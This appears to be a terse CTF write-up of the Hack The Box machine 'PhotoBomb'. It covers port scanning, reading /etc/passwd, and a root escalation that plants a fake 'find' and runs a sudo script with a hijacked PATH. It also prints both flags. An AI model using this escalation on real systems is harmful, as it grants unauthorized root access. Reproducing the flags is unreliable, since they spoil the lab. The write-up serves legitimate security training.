靶机-PhotoBomb

sudo nmap -sV -p- —min-rate 1000 10.10.11.182

PORT   STATE SERVICE VERSION22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)80/tcp open  http    nginx 1.18.0 (Ubuntu)Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

sudo nmap —script=vuln -p80, 10.10.11.182 

127.0.0.1       localhost127.0.1.1       kali::1             localhost ip6-localhost ip6-loopbackff02::16ff02::2                ip6-allrouters10.10.11.182    photobomb.htb

$lslog  ls  ls-0  photobomb.sh  public  resized_images  server.rb  source_images

$ whoamiwizard$ cat /etc/passwdroot:x:0:0:root:/root:/bin/bashdaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologinbin:x:2:2:bin:/bin:/usr/sbin/nologinsys:x:3:3:sys:/dev:/usr/sbin/nologinsync:x:4:65534:sync:/bin:/bin/syncgames:x:5:60:games:/usr/games:/usr/sbin/nologinman:x:6:12:man:/var/cache/man:/usr/sbin/nologinlp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologinmail:x:8:8:mail:/var/mail:/usr/sbin/nologinnews:x:9:9:news:/var/spool/news:/usr/sbin/nologinuucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologinproxy:x:13:13:proxy:/bin:/usr/sbin/nologinwww-data:x:33:33:www-data:/var/www:/usr/sbin/nologinbackup:x:34:34:backup:/var/backups:/usr/sbin/nologinlist:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologinirc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologingnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologinnobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologinsystemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologinsystemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologinsystemd-timesync:x:102:104:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologinmessagebus:x:103:106::/nonexistent:/usr/sbin/nologinsyslog:x:104:110::/home/syslog:/usr/sbin/nologin_apt:x:105:65534::/nonexistent:/usr/sbin/nologintss:x:106:111:TPM software stack,,,:/var/lib/tpm:/bin/falseuuidd:x:107:112::/run/uuidd:/usr/sbin/nologintcpdump:x:108:113::/nonexistent:/usr/sbin/nologinlandscape:x:109:115::/var/lib/landscape:/usr/sbin/nologinpollinate:x:110:1::/var/cache/pollinate:/bin/falseusbmux:x:111:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologinsshd:x:112:65534::/run/sshd:/usr/sbin/nologinsystemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologinwizard:x:1000:1000:wizard:/home/wizard:/bin/bashlxd:x:998:100::/var/snap/lxd/common/lxd:/bin/false

$ ls ../ -altotal 44drwxr-xr-x 7 wizard wizard 4096 Sep 16 15:14 .drwxr-xr-x 3 root   root   4096 Sep 16 15:14 ..lrwxrwxrwx 1 wizard wizard    9 Mar 26  2022 .bash_history -> /dev/null-rw-r--r-- 1 wizard wizard  220 Feb 25  2020 .bash_logout-rw-r--r-- 1 wizard wizard 3771 Feb 25  2020 .bashrcdrwx------ 2 wizard wizard 4096 Sep 16 15:14 .cachedrwxrwxr-x 4 wizard wizard 4096 Sep 16 15:14 .gemdrwx------ 3 wizard wizard 4096 Feb  7 06:41 .gnupgdrwxrwxr-x 3 wizard wizard 4096 Sep 16 15:14 .localdrwxrwxr-x 6 wizard wizard 4096 Feb  7 13:08 photobomb-rw-r--r-- 1 wizard wizard  807 Feb 25  2020 .profile-rw-r----- 1 root   wizard   33 Feb  7 06:16 user.txt
$ cat ../user.txt3921ec1383034b149941db11f1a5c4fd

sudo -lMatching Defaults entries for wizard on photobomb:    env_reset, mail_badpass,    secure_path=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin
User wizard may run the following commands on photobomb:    (root) SETENV: NOPASSWD: /opt/cleanup.sh

$cat /opt/cleanup.sh#!/bin/bash. /opt/.bashrccd /home/wizard/photobomb
# clean up log filesif [ -s log/photobomb.log ] && ! [ -L log/photobomb.log ]then  /bin/cat log/photobomb.log > log/photobomb.log.old  /usr/bin/truncate -s0 log/photobomb.logfi
# protect the priceless originalsfind source_images -type f -name '*.jpg' -exec chown root:root {} ;

find   path   -option   [   -print ]   [ -exec   -ok   command ]   {} ;
path:路径-type: -type c 表示文件类型是c的文件  -type f 表示文件类型是f的文件-name:文件名.-exec {} :执行命令

echo "/bin/bash" > findchmod +x findsudo PATH=$PWD:$PATH /opt/cleanup.sh

cat /root/root.txt0392ed6951c6797a1f843efd8097aca5